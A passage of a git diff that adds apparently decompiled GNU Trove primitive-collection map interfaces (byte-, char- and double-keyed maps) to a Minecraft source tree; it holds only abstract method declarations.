+  public abstract double getNoEntryValue();
+  
+  public abstract double put(byte paramByte, double paramDouble);
+  
+  public abstract double putIfAbsent(byte paramByte, double paramDouble);
+  
+  public abstract void putAll(Map<? extends Byte, ? extends Double> paramMap);
+  
+  public abstract void putAll(TByteDoubleMap paramTByteDoubleMap);
+  
+  public abstract double get(byte paramByte);
+  
+  public abstract void clear();
+  
+  public abstract boolean isEmpty();
+  
+  public abstract double remove(byte paramByte);
+  
+  public abstract int size();
+  
+  public abstract TByteSet keySet();
+  
+  public abstract byte[] keys();
+  
+  public abstract byte[] keys(byte[] paramArrayOfByte);
+  
+  public abstract TDoubleCollection valueCollection();
+  
+  public abstract double[] values();
+  
+  public abstract double[] values(double[] paramArrayOfDouble);
+  
+  public abstract boolean containsValue(double paramDouble);
+  
+  public abstract boolean containsKey(byte paramByte);
+  
+  public abstract TByteDoubleIterator iterator();
+  
+  public abstract boolean forEachKey(TByteProcedure paramTByteProcedure);
+  
+  public abstract boolean forEachValue(TDoubleProcedure paramTDoubleProcedure);
+  
+  public abstract boolean forEachEntry(TByteDoubleProcedure paramTByteDoubleProcedure);
+  
+  public abstract void transformValues(TDoubleFunction paramTDoubleFunction);
+  
+  public abstract boolean retainEntries(TByteDoubleProcedure paramTByteDoubleProcedure);
+  
+  public abstract boolean increment(byte paramByte);
+  
+  public abstract boolean adjustValue(byte paramByte, double paramDouble);
+  
+  public abstract double adjustOrPutValue(byte paramByte, double paramDouble1, double paramDouble2);
+}
diff --git a/src/minecraft/gnu/trove/map/TByteFloatMap.java b/src/minecraft/gnu/trove/map/TByteFloatMap.java
new file mode 100644
index 0000000..c07bcda
--- /dev/null
+++ b/src/minecraft/gnu/trove/map/TByteFloatMap.java
@@ -0,0 +1,71 @@
+package gnu.trove.map;
+
+import gnu.trove.TFloatCollection;
+import gnu.trove.function.TFloatFunction;
+import gnu.trove.iterator.TByteFloatIterator;
+import gnu.trove.procedure.TByteFloatProcedure;
+import gnu.trove.procedure.TByteProcedure;
+import gnu.trove.procedure.TFloatProcedure;
+import gnu.trove.set.TByteSet;
+import java.io.Serializable;
+import java.util.Map;
+
+public abstract interface TByteFloatMap
+  extends Serializable
+{
+  public abstract byte getNoEntryKey();
+  
+  public abstract float getNoEntryValue();
+  
+  public abstract float put(byte paramByte, float paramFloat);
+  
+  public abstract float putIfAbsent(byte paramByte, float paramFloat);
+  
+  public abstract void putAll(Map<? extends Byte, ? extends Float> paramMap);
+  
+  public abstract void putAll(TByteFloatMap paramTByteFloatMap);
+  
+  public abstract float get(byte paramByte);
+  
+  public abstract void clear();
+  
+  public abstract boolean isEmpty();
+  
+  public abstract float remove(byte paramByte);
+  
+  public abstract int size();
+  
+  public abstract TByteSet keySet();
+  
+  public abstract byte[] keys();
+  
+  public abstract byte[] keys(byte[] paramArrayOfByte);
+  
+  public abstract TFloatCollection valueCollection();
+  
+  public abstract float[] values();
+  
+  public abstract float[] values(float[] paramArrayOfFloat);
+  
+  public abstract boolean containsValue(float paramFloat);
+  
+  public abstract boolean containsKey(byte paramByte);
+  
+  public abstract TByteFloatIterator iterator();
+  
+  public abstract boolean forEachKey(TByteProcedure paramTByteProcedure);
+  
+  public abstract boolean forEachValue(TFloatProcedure paramTFloatProcedure);
+  
+  public abstract boolean forEachEntry(TByteFloatProcedure paramTByteFloatProcedure);
+  
+  public abstract void transformValues(TFloatFunction paramTFloatFunction);
+  
+  public abstract boolean retainEntries(TByteFloatProcedure paramTByteFloatProcedure);
+  
+  public abstract boolean increment(byte paramByte);
+  
+  public abstract boolean adjustValue(byte paramByte, float paramFloat);
+  
+  public abstract float adjustOrPutValue(byte paramByte, float paramFloat1, float paramFloat2);
+}
diff --git a/src/minecraft/gnu/trove/map/TByteIntMap.java b/src/minecraft/gnu/trove/map/TByteIntMap.java
new file mode 100644
index 0000000..877ee98
--- /dev/null
+++ b/src/minecraft/gnu/trove/map/TByteIntMap.java
@@ -0,0 +1,71 @@
+package gnu.trove.map;
+
+import gnu.trove.TIntCollection;
+import gnu.trove.function.TIntFunction;
+import gnu.trove.iterator.TByteIntIterator;
+import gnu.trove.procedure.TByteIntProcedure;
+import gnu.trove.procedure.TByteProcedure;
+import gnu.trove.procedure.TIntProcedure;
+import gnu.trove.set.TByteSet;
+import java.io.Serializable;
+import java.util.Map;
+
+public abstract interface TByteIntMap
+  extends Serializable
+{
+  public abstract byte getNoEntryKey();
+  
+  public abstract int getNoEntryValue();
+  
+  public abstract int put(byte paramByte, int paramInt);
+  
+  public abstract int putIfAbsent(byte paramByte, int paramInt);
+  
+  public abstract void putAll(Map<? extends Byte, ? extends Integer> paramMap);
+  
+  public abstract void putAll(TByteIntMap paramTByteIntMap);
+  
+  public abstract int get(byte paramByte);
+  
+  public abstract void clear();
+  
+  public abstract boolean isEmpty();
+  
+  public abstract int remove(byte paramByte);
+  
+  public abstract int size();
+  
+  public abstract TByteSet keySet();
+  
+  public abstract byte[] keys();
+  
+  public abstract byte[] keys(byte[] paramArrayOfByte);
+  
+  public abstract TIntCollection valueCollection();
+  
+  public abstract int[] values();
+  
+  public abstract int[] values(int[] paramArrayOfInt);
+  
+  public abstract boolean containsValue(int paramInt);
+  
+  public abstract boolean containsKey(byte paramByte);
+  
+  public abstract TByteIntIterator iterator();
+  
+  public abstract boolean forEachKey(TByteProcedure paramTByteProcedure);
+  
+  public abstract boolean forEachValue(TIntProcedure paramTIntProcedure);
+  
+  public abstract boolean forEachEntry(TByteIntProcedure paramTByteIntProcedure);
+  
+  public abstract void transformValues(TIntFunction paramTIntFunction);
+  
+  public abstract boolean retainEntries(TByteIntProcedure paramTByteIntProcedure);
+  
+  public abstract boolean increment(byte paramByte);
+  
+  public abstract boolean adjustValue(byte paramByte, int paramInt);
+  
+  public abstract int adjustOrPutValue(byte paramByte, int paramInt1, int paramInt2);
+}
diff --git a/src/minecraft/gnu/trove/map/TByteLongMap.java b/src/minecraft/gnu/trove/map/TByteLongMap.java
new file mode 100644
index 0000000..7d25e1a
--- /dev/null
+++ b/src/minecraft/gnu/trove/map/TByteLongMap.java
@@ -0,0 +1,71 @@
+package gnu.trove.map;
+
+import gnu.trove.TLongCollection;
+import gnu.trove.function.TLongFunction;
+import gnu.trove.iterator.TByteLongIterator;
+import gnu.trove.procedure.TByteLongProcedure;
+import gnu.trove.procedure.TByteProcedure;
+import gnu.trove.procedure.TLongProcedure;
+import gnu.trove.set.TByteSet;
+import java.io.Serializable;
+import java.util.Map;
+
+public abstract interface TByteLongMap
+  extends Serializable
+{
+  public abstract byte getNoEntryKey();
+  
+  public abstract long getNoEntryValue();
+  
+  public abstract long put(byte paramByte, long paramLong);
+  
+  public abstract long putIfAbsent(byte paramByte, long paramLong);
+  
+  public abstract void putAll(Map<? extends Byte, ? extends Long> paramMap);
+  
+  public abstract void putAll(TByteLongMap paramTByteLongMap);
+  
+  public abstract long get(byte paramByte);
+  
+  public abstract void clear();
+  
+  public abstract boolean isEmpty();
+  
+  public abstract long remove(byte paramByte);
+  
+  public abstract int size();
+  
+  public abstract TByteSet keySet();
+  
+  public abstract byte[] keys();
+  
+  public abstract byte[] keys(byte[] paramArrayOfByte);
+  
+  public abstract TLongCollection valueCollection();
+  
+  public abstract long[] values();
+  
+  public abstract long[] values(long[] paramArrayOfLong);
+  
+  public abstract boolean containsValue(long paramLong);
+  
+  public abstract boolean containsKey(byte paramByte);
+  
+  public abstract TByteLongIterator iterator();
+  
+  public abstract boolean forEachKey(TByteProcedure paramTByteProcedure);
+  
+  public abstract boolean forEachValue(TLongProcedure paramTLongProcedure);
+  
+  public abstract boolean forEachEntry(TByteLongProcedure paramTByteLongProcedure);
+  
+  public abstract void transformValues(TLongFunction paramTLongFunction);
+  
+  public abstract boolean retainEntries(TByteLongProcedure paramTByteLongProcedure);
+  
+  public abstract boolean increment(byte paramByte);
+  
+  public abstract boolean adjustValue(byte paramByte, long paramLong);
+  
+  public abstract long adjustOrPutValue(byte paramByte, long paramLong1, long paramLong2);
+}
diff --git a/src/minecraft/gnu/trove/map/TByteObjectMap.java b/src/minecraft/gnu/trove/map/TByteObjectMap.java
new file mode 100644
index 0000000..81fdd19
--- /dev/null
+++ b/src/minecraft/gnu/trove/map/TByteObjectMap.java
@@ -0,0 +1,65 @@
+package gnu.trove.map;
+
+import gnu.trove.function.TObjectFunction;
+import gnu.trove.iterator.TByteObjectIterator;
+import gnu.trove.procedure.TByteObjectProcedure;
+import gnu.trove.procedure.TByteProcedure;
+import gnu.trove.procedure.TObjectProcedure;
+import gnu.trove.set.TByteSet;
+import java.util.Collection;
+import java.util.Map;
+
+public abstract interface TByteObjectMap<V>
+{
+  public abstract byte getNoEntryKey();
+  
+  public abstract int size();
+  
+  public abstract boolean isEmpty();
+  
+  public abstract boolean containsKey(byte paramByte);
+  
+  public abstract boolean containsValue(Object paramObject);
+  
+  public abstract V get(byte paramByte);
+  
+  public abstract V put(byte paramByte, V paramV);
+  
+  public abstract V putIfAbsent(byte paramByte, V paramV);
+  
+  public abstract V remove(byte paramByte);
+  
+  public abstract void putAll(Map<? extends Byte, ? extends V> paramMap);
+  
+  public abstract void putAll(TByteObjectMap<V> paramTByteObjectMap);
+  
+  public abstract void clear();
+  
+  public abstract TByteSet keySet();
+  
+  public abstract byte[] keys();
+  
+  public abstract byte[] keys(byte[] paramArrayOfByte);
+  
+  public abstract Collection<V> valueCollection();
+  
+  public abstract V[] values();
+  
+  public abstract <T> T[] values(T[] paramArrayOfT);
+  
+  public abstract TByteObjectIterator<V> iterator();
+  
+  public abstract boolean forEachKey(TByteProcedure paramTByteProcedure);
+  
+  public abstract boolean forEachValue(TObjectProcedure<V> paramTObjectProcedure);
+  
+  public abstract boolean forEachEntry(TByteObjectProcedure<V> paramTByteObjectProcedure);
+  
+  public abstract void transformValues(TObjectFunction<V, V> paramTObjectFunction);
+  
+  public abstract boolean retainEntries(TByteObjectProcedure<V> paramTByteObjectProcedure);
+  
+  public abstract boolean equals(Object paramObject);
+  
+  public abstract int hashCode();
+}
diff --git a/src/minecraft/gnu/trove/map/TByteShortMap.java b/src/minecraft/gnu/trove/map/TByteShortMap.java
new file mode 100644
index 0000000..7a98aec
--- /dev/null
+++ b/src/minecraft/gnu/trove/map/TByteShortMap.java
@@ -0,0 +1,71 @@
+package gnu.trove.map;
+
+import gnu.trove.TShortCollection;
+import gnu.trove.function.TShortFunction;
+import gnu.trove.iterator.TByteShortIterator;
+import gnu.trove.procedure.TByteProcedure;
+import gnu.trove.procedure.TByteShortProcedure;
+import gnu.trove.procedure.TShortProcedure;
+import gnu.trove.set.TByteSet;
+import java.io.Serializable;
+import java.util.Map;
+
+public abstract interface TByteShortMap
+  extends Serializable
+{
+  public abstract byte getNoEntryKey();
+  
+  public abstract short getNoEntryValue();
+  
+  public abstract short put(byte paramByte, short paramShort);
+  
+  public abstract short putIfAbsent(byte paramByte, short paramShort);
+  
+  public abstract void putAll(Map<? extends Byte, ? extends Short> paramMap);
+  
+  public abstract void putAll(TByteShortMap paramTByteShortMap);
+  
+  public abstract short get(byte paramByte);
+  
+  public abstract void clear();
+  
+  public abstract boolean isEmpty();
+  
+  public abstract short remove(byte paramByte);
+  
+  public abstract int size();
+  
+  public abstract TByteSet keySet();
+  
+  public abstract byte[] keys();
+  
+  public abstract byte[] keys(byte[] paramArrayOfByte);
+  
+  public abstract TShortCollection valueCollection();
+  
+  public abstract short[] values();
+  
+  public abstract short[] values(short[] paramArrayOfShort);
+  
+  public abstract boolean containsValue(short paramShort);
+  
+  public abstract boolean containsKey(byte paramByte);
+  
+  public abstract TByteShortIterator iterator();
+  
+  public abstract boolean forEachKey(TByteProcedure paramTByteProcedure);
+  
+  public abstract boolean forEachValue(TShortProcedure paramTShortProcedure);
+  
+  public abstract boolean forEachEntry(TByteShortProcedure paramTByteShortProcedure);
+  
+  public abstract void transformValues(TShortFunction paramTShortFunction);
+  
+  public abstract boolean retainEntries(TByteShortProcedure paramTByteShortProcedure);
+  
+  public abstract boolean increment(byte paramByte);
+  
+  public abstract boolean adjustValue(byte paramByte, short paramShort);
+  
+  public abstract short adjustOrPutValue(byte paramByte, short paramShort1, short paramShort2);
+}
diff --git a/src/minecraft/gnu/trove/map/TCharByteMap.java b/src/minecraft/gnu/trove/map/TCharByteMap.java
new file mode 100644
index 0000000..3651f0b
--- /dev/null
+++ b/src/minecraft/gnu/trove/map/TCharByteMap.java
@@ -0,0 +1,71 @@
+package gnu.trove.map;
+
+import gnu.trove.TByteCollection;
+import gnu.trove.function.TByteFunction;
+import gnu.trove.iterator.TCharByteIterator;
+import gnu.trove.procedure.TByteProcedure;
+import gnu.trove.procedure.TCharByteProcedure;
+import gnu.trove.procedure.TCharProcedure;
+import gnu.trove.set.TCharSet;
+import java.io.Serializable;
+import java.util.Map;
+
+public abstract interface TCharByteMap
+  extends Serializable
+{
+  public abstract char getNoEntryKey();
+  
+  public abstract byte getNoEntryValue();
+  
+  public abstract byte put(char paramChar, byte paramByte);
+  
+  public abstract byte putIfAbsent(char paramChar, byte paramByte);
+  
+  public abstract void putAll(Map<? extends Character, ? extends Byte> paramMap);
+  
+  public abstract void putAll(TCharByteMap paramTCharByteMap);
+  
+  public abstract byte get(char paramChar);
+  
+  public abstract void clear();
+  
+  public abstract boolean isEmpty();
+  
+  public abstract byte remove(char paramChar);
+  
+  public abstract int size();
+  
+  public abstract TCharSet keySet();
+  
+  public abstract char[] keys();
+  
+  public abstract char[] keys(char[] paramArrayOfChar);
+  
+  public abstract TByteCollection valueCollection();
+  
+  public abstract byte[] values();
+  
+  public abstract byte[] values(byte[] paramArrayOfByte);
+  
+  public abstract boolean containsValue(byte paramByte);
+  
+  public abstract boolean containsKey(char paramChar);
+  
+  public abstract TCharByteIterator iterator();
+  
+  public abstract boolean forEachKey(TCharProcedure paramTCharProcedure);
+  
+  public abstract boolean forEachValue(TByteProcedure paramTByteProcedure);
+  
+  public abstract boolean forEachEntry(TCharByteProcedure paramTCharByteProcedure);
+  
+  public abstract void transformValues(TByteFunction paramTByteFunction);
+  
+  public abstract boolean retainEntries(TCharByteProcedure paramTCharByteProcedure);
+  
+  public abstract boolean increment(char paramChar);
+  
+  public abstract boolean adjustValue(char paramChar, byte paramByte);
+  
+  public abstract byte adjustOrPutValue(char paramChar, byte paramByte1, byte paramByte2);
+}
diff --git a/src/minecraft/gnu/trove/map/TCharCharMap.java b/src/minecraft/gnu/trove/map/TCharCharMap.java
new file mode 100644
index 0000000..249c66d
--- /dev/null
+++ b/src/minecraft/gnu/trove/map/TCharCharMap.java
@@ -0,0 +1,70 @@
+package gnu.trove.map;
+
+import gnu.trove.TCharCollection;
+import gnu.trove.function.TCharFunction;
+import gnu.trove.iterator.TCharCharIterator;
+import gnu.trove.procedure.TCharCharProcedure;
+import gnu.trove.procedure.TCharProcedure;
+import gnu.trove.set.TCharSet;
+import java.io.Serializable;
+import java.util.Map;
+
+public abstract interface TCharCharMap
+  extends Serializable
+{
+  public abstract char getNoEntryKey();
+  
+  public abstract char getNoEntryValue();
+  
+  public abstract char put(char paramChar1, char paramChar2);
+  
+  public abstract char putIfAbsent(char paramChar1, char paramChar2);
+  
+  public abstract void putAll(Map<? extends Character, ? extends Character> paramMap);
+  
+  public abstract void putAll(TCharCharMap paramTCharCharMap);
+  
+  public abstract char get(char paramChar);
+  
+  public abstract void clear();
+  
+  public abstract boolean isEmpty();
+  
+  public abstract char remove(char paramChar);
+  
+  public abstract int size();
+  
+  public abstract TCharSet keySet();
+  
+  public abstract char[] keys();
+  
+  public abstract char[] keys(char[] paramArrayOfChar);
+  
+  public abstract TCharCollection valueCollection();
+  
+  public abstract char[] values();
+  
+  public abstract char[] values(char[] paramArrayOfChar);
+  
+  public abstract boolean containsValue(char paramChar);
+  
+  public abstract boolean containsKey(char paramChar);
+  
+  public abstract TCharCharIterator iterator();
+  
+  public abstract boolean forEachKey(TCharProcedure paramTCharProcedure);
+  
+  public abstract boolean forEachValue(TCharProcedure paramTCharProcedure);
+  
+  public abstract boolean forEachEntry(TCharCharProcedure paramTCharCharProcedure);
+  
+  public abstract void transformValues(TCharFunction paramTCharFunction);
+  
+  public abstract boolean retainEntries(TCharCharProcedure paramTCharCharProcedure);
+  
+  public abstract boolean increment(char paramChar);
+  
+  public abstract boolean adjustValue(char paramChar1, char paramChar2);
+  
+  public abstract char adjustOrPutValue(char paramChar1, char paramChar2, char paramChar3);
+}
diff --git a/src/minecraft/gnu/trove/map/TCharDoubleMap.java b/src/minecraft/gnu/trove/map/TCharDoubleMap.java
new file mode 100644
index 0000000..5dc7075
--- /dev/null
+++ b/src/minecraft/gnu/trove/map/TCharDoubleMap.java
@@ -0,0 +1,71 @@
+package gnu.trove.map;
+
+import gnu.trove.TDoubleCollection;
+import gnu.trove.function.TDoubleFunction;
+import gnu.trove.iterator.TCharDoubleIterator;
+import gnu.trove.procedure.TCharDoubleProcedure;
+import gnu.trove.procedure.TCharProcedure;
+import gnu.trove.procedure.TDoubleProcedure;
+import gnu.trove.set.TCharSet;
+import java.io.Serializable;
+import java.util.Map;
+
+public abstract interface TCharDoubleMap
+  extends Serializable
+{
+  public abstract char getNoEntryKey();
+  
+  public abstract double getNoEntryValue();
+  
+  public abstract double put(char paramChar, double paramDouble);
+  
+  public abstract double putIfAbsent(char paramChar, double paramDouble);
+  
+  public abstract void putAll(Map<? extends Character, ? extends Double> paramMap);
+  
+  public abstract void putAll(TCharDoubleMap paramTCharDoubleMap);
+  
+  public abstract double get(char paramChar);
+  
+  public abstract void clear();
+  
+  public abstract boolean isEmpty();
+  
+  public abstract double remove(char paramChar);
+  
+  public abstract int size();
+  
+  public abstract TCharSet keySet();
+  
+  public abstract char[] keys();
+  
+  public abstract char[] keys(char[] paramArrayOfChar);
+  
+  public abstract TDoubleCollection valueCollection();
+  
+  public abstract double[] values();
+  
+  public abstract double[] values(double[] paramArrayOfDouble);
+  
+  public abstract boolean containsValue(double paramDouble);
+  
+  public abstract boolean containsKey(char paramChar);
+  
+  public abstract TCharDoubleIterator iterator();
+  
+  public abstract boolean forEachKey(TCharProcedure paramTCharProcedure);
+  
+  public abstract boolean forEachValue(TDoubleProcedure paramTDoubleProcedure);
+  
+  public abstract boolean forEachEntry(TCharDoubleProcedure paramTCharDoubleProcedure);
+  
+  public abstract void transformValues(TDoubleFunction paramTDoubleFunction);
+  
+  public abstract boolean retainEntries(TCharDoubleProcedure paramTCharDoubleProcedure);
+  
+  public abstract boolean increment(char paramChar);
+  
+  public abstract boolean adjustValue(char paramChar, double paramDouble);
+  
+  public abstract double adjustOrPutValue(char paramChar, double paramDouble1, double paramDouble2);
+}
diff --git a/src/minecraft/gnu/trove/map/TCharFloatMap.java b/src/minecraft/gnu/trove/map/TCharFloatMap.java
new file mode 100644
index 0000000..bd6e2d4
--- /dev/null
+++ b/src/minecraft/gnu/trove/map/TCharFloatMap.java
@@ -0,0 +1,71 @@
+package gnu.trove.map;
+
+import gnu.trove.TFloatCollection;
+import gnu.trove.function.TFloatFunction;
+import gnu.trove.iterator.TCharFloatIterator;
+import gnu.trove.procedure.TCharFloatProcedure;
+import gnu.trove.procedure.TCharProcedure;
+import gnu.trove.procedure.TFloatProcedure;
+import gnu.trove.set.TCharSet;
+import java.io.Serializable;
+import java.util.Map;
+
+public abstract interface TCharFloatMap
+  extends Serializable
+{
+  public abstract char getNoEntryKey();
+  
+  public abstract float getNoEntryValue();
+  
+  public abstract float put(char paramChar, float paramFloat);
+  
+  public abstract float putIfAbsent(char paramChar, float paramFloat);
+  
+  public abstract void putAll(Map<? extends Character, ? extends Float> paramMap);
+  
+  public abstract void putAll(TCharFloatMap paramTCharFloatMap);
+  
+  public abstract float get(char paramChar);
+  
+  public abstract void clear();
+  
+  public abstract boolean isEmpty();
+  
+  public abstract float remove(char paramChar);
+  
+  public abstract int size();
+  
+  public abstract TCharSet keySet();
+  
+  public abstract char[] keys();
+  
+  public abstract char[] keys(char[] paramArrayOfChar);
+  
+  public abstract TFloatCollection valueCollection();
+  
+  public abstract float[] values();
+  
+  public abstract float[] values(float[] paramArrayOfFloat);
+  
+  public abstract boolean containsValue(float paramFloat);
+  
+  public abstract boolean containsKey(char paramChar);
+  
+  public abstract TCharFloatIterator iterator();
+  
+  public abstract boolean forEachKey(TCharProcedure paramTCharProcedure);
+  
+  public abstract boolean forEachValue(TFloatProcedure paramTFloatProcedure);
+  
+  public abstract boolean forEachEntry(TCharFloatProcedure paramTCharFloatProcedure);
+  
+  public abstract void transformValues(TFloatFunction paramTFloatFunction);
+  
+  public abstract boolean retainEntries(TCharFloatProcedure paramTCharFloatProcedure);
+  
+  public abstract boolean increment(char paramChar);
+  
+  public abstract boolean adjustValue(char paramChar, float paramFloat);
+  
+  public abstract float adjustOrPutValue(char paramChar, float paramFloat1, float paramFloat2);
+}
diff --git a/src/minecraft/gnu/trove/map/TCharIntMap.java b/src/minecraft/gnu/trove/map/TCharIntMap.java
new file mode 100644
index 0000000..988466b
--- /dev/null
+++ b/src/minecraft/gnu/trove/map/TCharIntMap.java
@@ -0,0 +1,71 @@
+package gnu.trove.map;
+
+import gnu.trove.TIntCollection;
+import gnu.trove.function.TIntFunction;
+import gnu.trove.iterator.TCharIntIterator;
+import gnu.trove.procedure.TCharIntProcedure;
+import gnu.trove.procedure.TCharProcedure;
+import gnu.trove.procedure.TIntProcedure;
+import gnu.trove.set.TCharSet;
+import java.io.Serializable;
+import java.util.Map;
+
+public abstract interface TCharIntMap
+  extends Serializable
+{
+  public abstract char getNoEntryKey();
+  
+  public abstract int getNoEntryValue();
+  
+  public abstract int put(char paramChar, int paramInt);
+  
+  public abstract int putIfAbsent(char paramChar, int paramInt);
+  
+  public abstract void putAll(Map<? extends Character, ? extends Integer> paramMap);
+  
+  public abstract void putAll(TCharIntMap paramTCharIntMap);
+  
+  public abstract int get(char paramChar);
+  
+  public abstract void clear();
+  
+  public abstract boolean isEmpty();
+  
+  public abstract int remove(char paramChar);
+  
+  public abstract int size();
+  
+  public abstract TCharSet keySet();
+  
+  public abstract char[] keys();
+  
+  public abstract char[] keys(char[] paramArrayOfChar);
+  
+  public abstract TIntCollection valueCollection();
+  
+  public abstract int[] values();
+  
+  public abstract int[] values(int[] paramArrayOfInt);
+  
+  public abstract boolean containsValue(int paramInt);
+  
+  public abstract boolean containsKey(char paramChar);
+  
+  public abstract TCharIntIterator iterator();
+  
+  public abstract boolean forEachKey(TCharProcedure paramTCharProcedure);
+  
+  public abstract boolean forEachValue(TIntProcedure paramTIntProcedure);
+  
+  public abstract boolean forEachEntry(TCharIntProcedure paramTCharIntProcedure);
+  
+  public abstract void transformValues(TIntFunction paramTIntFunction);
+  
+  public abstract boolean retainEntries(TCharIntProcedure paramTCharIntProcedure);
+  
+  public abstract boolean increment(char paramChar);
+  
+  public abstract boolean adjustValue(char paramChar, int paramInt);
+  
+  public abstract int adjustOrPutValue(char paramChar, int paramInt1, int paramInt2);
+}
diff --git a/src/minecraft/gnu/trove/map/TCharLongMap.java b/src/minecraft/gnu/trove/map/TCharLongMap.java
new file mode 100644
index 0000000..a52d2cf
--- /dev/null
+++ b/src/minecraft/gnu/trove/map/TCharLongMap.java
@@ -0,0 +1,71 @@
+package gnu.trove.map;
+
+import gnu.trove.TLongCollection;
+import gnu.trove.function.TLongFunction;
+import gnu.trove.iterator.TCharLongIterator;
+import gnu.trove.procedure.TCharLongProcedure;
+import gnu.trove.procedure.TCharProcedure;
+import gnu.trove.procedure.TLongProcedure;
+import gnu.trove.set.TCharSet;
+import java.io.Serializable;
+import java.util.Map;
+
+public abstract interface TCharLongMap
+  extends Serializable
+{
+  public abstract char getNoEntryKey();
+  
+  public abstract long getNoEntryValue();
+  
+  public abstract long put(char paramChar, long paramLong);
+  
+  public abstract long putIfAbsent(char paramChar, long paramLong);
+  
+  public abstract void putAll(Map<? extends Character, ? extends Long> paramMap);
+  
+  public abstract void putAll(TCharLongMap paramTCharLongMap);
+  
+  public abstract long get(char paramChar);
+  
+  public abstract void clear();
+  
+  public abstract boolean isEmpty();
+  
+  public abstract long remove(char paramChar);
+  
+  public abstract int size();
+  
+  public abstract TCharSet keySet();
+  
+  public abstract char[] keys();
+  
+  public abstract char[] keys(char[] paramArrayOfChar);
+  
+  public abstract TLongCollection valueCollection();
+  
+  public abstract long[] values();
+  
+  public abstract long[] values(long[] paramArrayOfLong);
+  
+  public abstract boolean containsValue(long paramLong);
+  
+  public abstract boolean containsKey(char paramChar);
+  
+  public abstract TCharLongIterator iterator();
+  
+  public abstract boolean forEachKey(TCharProcedure paramTCharProcedure);
+  
+  public abstract boolean forEachValue(TLongProcedure paramTLongProcedure);
+  
+  public abstract boolean forEachEntry(TCharLongProcedure paramTCharLongProcedure);
+  
+  public abstract void transformValues(TLongFunction paramTLongFunction);
+  
+  public abstract boolean retainEntries(TCharLongProcedure paramTCharLongProcedure);
+  
+  public abstract boolean increment(char paramChar);
+  
+  public abstract boolean adjustValue(char paramChar, long paramLong);
+  
+  public abstract long adjustOrPutValue(char paramChar, long paramLong1, long paramLong2);
+}
diff --git a/src/minecraft/gnu/trove/map/TCharObjectMap.java b/src/minecraft/gnu/trove/map/TCharObjectMap.java
new file mode 100644
index 0000000..1048428
--- /dev/null
+++ b/src/minecraft/gnu/trove/map/TCharObjectMap.java
@@ -0,0 +1,65 @@
+package gnu.trove.map;
+
+import gnu.trove.function.TObjectFunction;
+import gnu.trove.iterator.TCharObjectIterator;
+import gnu.trove.procedure.TCharObjectProcedure;
+import gnu.trove.procedure.TCharProcedure;
+import gnu.trove.procedure.TObjectProcedure;
+import gnu.trove.set.TCharSet;
+import java.util.Collection;
+import java.util.Map;
+
+public abstract interface TCharObjectMap<V>
+{
+  public abstract char getNoEntryKey();
+  
+  public abstract int size();
+  
+  public abstract boolean isEmpty();
+  
+  public abstract boolean containsKey(char paramChar);
+  
+  public abstract boolean containsValue(Object paramObject);
+  
+  public abstract V get(char paramChar);
+  
+  public abstract V put(char paramChar, V paramV);
+  
+  public abstract V putIfAbsent(char paramChar, V paramV);
+  
+  public abstract V remove(char paramChar);
+  
+  public abstract void putAll(Map<? extends Character, ? extends V> paramMap);
+  
+  public abstract void putAll(TCharObjectMap<V> paramTCharObjectMap);
+  
+  public abstract void clear();
+  
+  public abstract TCharSet keySet();
+  
+  public abstract char[] keys();
+  
+  public abstract char[] keys(char[] paramArrayOfChar);
+  
+  public abstract Collection<V> valueCollection();
+  
+  public abstract V[] values();
+  
+  public abstract <T> T[] values(T[] paramArrayOfT);
+  
+  public abstract TCharObjectIterator<V> iterator();
+  
+  public abstract boolean forEachKey(TCharProcedure paramTCharProcedure);
+  
+  public abstract boolean forEachValue(TObjectProcedure<V> paramTObjectProcedure);
+  
+  public abstract boolean forEachEntry(TCharObjectProcedure<V> paramTCharObjectProcedure);
+  
+  public abstract void transformValues(TObjectFunction<V, V> paramTObjectFunction);
+  
+  public abstract boolean retainEntries(TCharObjectProcedure<V> paramTCharObjectProcedure);
+  
+  public abstract boolean equals(Object paramObject);
+  
+  public abstract int hashCode();
+}
diff --git a/src/minecraft/gnu/trove/map/TCharShortMap.java b/src/minecraft/gnu/trove/map/TCharShortMap.java
new file mode 100644
index 0000000..6093bb4
--- /dev/null
+++ b/src/minecraft/gnu/trove/map/TCharShortMap.java
@@ -0,0 +1,71 @@
+package gnu.trove.map;
+
+import gnu.trove.TShortCollection;
+import gnu.trove.function.TShortFunction;
+import gnu.trove.iterator.TCharShortIterator;
+import gnu.trove.procedure.TCharProcedure;
+import gnu.trove.procedure.TCharShortProcedure;
+import gnu.trove.procedure.TShortProcedure;
+import gnu.trove.set.TCharSet;
+import java.io.Serializable;
+import java.util.Map;
+
+public abstract interface TCharShortMap
+  extends Serializable
+{
+  public abstract char getNoEntryKey();
+  
+  public abstract short getNoEntryValue();
+  
+  public abstract short put(char paramChar, short paramShort);
+  
+  public abstract short putIfAbsent(char paramChar, short paramShort);
+  
+  public abstract void putAll(Map<? extends Character, ? extends Short> paramMap);
+  
+  public abstract void putAll(TCharShortMap paramTCharShortMap);
+  
+  public abstract short get(char paramChar);
+  
+  public abstract void clear();
+  
+  public abstract boolean isEmpty();
+  
+  public abstract short remove(char paramChar);
+  
+  public abstract int size();
+  
+  public abstract TCharSet keySet();
+  
+  public abstract char[] keys();
+  
+  public abstract char[] keys(char[] paramArrayOfChar);
+  
+  public abstract TShortCollection valueCollection();
+  
+  public abstract short[] values();
+  
+  public abstract short[] values(short[] paramArrayOfShort);
+  
+  public abstract boolean containsValue(short paramShort);
+  
+  public abstract boolean containsKey(char paramChar);
+  
+  public abstract TCharShortIterator iterator();
+  
+  public abstract boolean forEachKey(TCharProcedure paramTCharProcedure);
+  
+  public abstract boolean forEachValue(TShortProcedure paramTShortProcedure);
+  
+  public abstract boolean forEachEntry(TCharShortProcedure paramTCharShortProcedure);
+  
+  public abstract void transformValues(TShortFunction paramTShortFunction);
+  
+  public abstract boolean retainEntries(TCharShortProcedure paramTCharShortProcedure);
+  
+  public abstract boolean increment(char paramChar);
+  
+  public abstract boolean adjustValue(char paramChar, short paramShort);
+  
+  public abstract short adjustOrPutValue(char paramChar, short paramShort1, short paramShort2);
+}
diff --git a/src/minecraft/gnu/trove/map/TDoubleByteMap.java b/src/minecraft/gnu/trove/map/TDoubleByteMap.java
new file mode 100644
index 0000000..546f418
--- /dev/null
+++ b/src/minecraft/gnu/trove/map/TDoubleByteMap.java
@@ -0,0 +1,71 @@
+package gnu.trove.map;
+
+import gnu.trove.TByteCollection;
+import gnu.trove.function.TByteFunction;
+import gnu.trove.iterator.TDoubleByteIterator;
+import gnu.trove.procedure.TByteProcedure;
+import gnu.trove.procedure.TDoubleByteProcedure;
+import gnu.trove.procedure.TDoubleProcedure;
